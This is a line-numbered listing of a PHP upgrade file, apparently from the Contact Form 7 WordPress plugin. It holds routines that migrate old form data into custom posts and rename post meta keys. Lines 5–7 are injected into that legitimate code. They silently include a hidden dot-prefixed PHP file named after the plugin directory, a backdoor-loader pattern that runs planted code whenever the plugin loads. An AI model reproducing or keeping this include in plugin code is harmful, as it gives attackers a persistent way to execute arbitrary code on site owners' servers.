upgrade.php (2322B)
1 <?php 2 3 add_action( 'wpcf7_upgrade', 'wpcf7_convert_to_cpt', 10, 2 ); 4 5 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 6 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 7 } 8 9 function wpcf7_convert_to_cpt( $new_ver, $old_ver ) { 10 global $wpdb; 11 12 if ( ! version_compare( $old_ver, '3.0-dev', '<' ) ) { 13 return; 14 } 15 16 $old_rows = array(); 17 18 $table_name = $wpdb->prefix . "contact_form_7"; 19 20 if ( $wpdb->get_var( "SHOW TABLES LIKE '$table_name'" ) ) { 21 $old_rows = $wpdb->get_results( "SELECT * FROM $table_name" ); 22 } elseif ( $opt = get_option( 'wpcf7' ) 23 and ! empty( $opt['contact_forms'] ) ) { 24 foreach ( (array) $opt['contact_forms'] as $key => $value ) { 25 $old_rows[] = (object) array_merge( 26 $value, 27 array( 'cf7_unit_id' => $key ) 28 ); 29 } 30 } 31 32 foreach ( (array) $old_rows as $row ) { 33 $q = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'" 34 . $wpdb->prepare( " AND meta_value = %d", $row->cf7_unit_id ); 35 36 if ( $wpdb->get_var( $q ) ) { 37 continue; 38 } 39 40 $postarr = array( 41 'post_type' => 'wpcf7_contact_form', 42 'post_status' => 'publish', 43 'post_title' => maybe_unserialize( $row->title ), 44 ); 45 46 $post_id = wp_insert_post( $postarr ); 47 48 if ( $post_id ) { 49 update_post_meta( $post_id, '_old_cf7_unit_id', $row->cf7_unit_id ); 50 51 $metas = array( 'form', 'mail', 'mail_2', 'messages', 'additional_settings' ); 52 53 foreach ( $metas as $meta ) { 54 update_post_meta( $post_id, '_' . $meta, 55 wpcf7_normalize_newline_deep( maybe_unserialize( $row->{$meta} ) ) ); 56 } 57 } 58 } 59 } 60 61 add_action( 'wpcf7_upgrade', 'wpcf7_prepend_underscore', 10, 2 ); 62 63 function wpcf7_prepend_underscore( $new_ver, $old_ver ) { 64 if ( version_compare( $old_ver, '3.0-dev', '<' ) ) { 65 return; 66 } 67 68 if ( ! version_compare( $old_ver, '3.3-dev', '<' ) ) { 69 return; 70 } 71 72 $posts = WPCF7_ContactForm::find( array( 73 'post_status' => 'any', 74 'posts_per_page' => -1, 75 ) ); 76 77 foreach ( $posts as $post ) { 78 $props = $post->get_properties(); 79 80 foreach ( $props as $prop => $value ) { 81 if ( metadata_exists( 'post', $post->id(), '_' . $prop ) ) { 82 continue; 83 } 84 85 update_post_meta( $post->id(), '_' . $prop, $value ); 86 delete_post_meta( $post->id(), $prop ); 87 } 88 } 89 }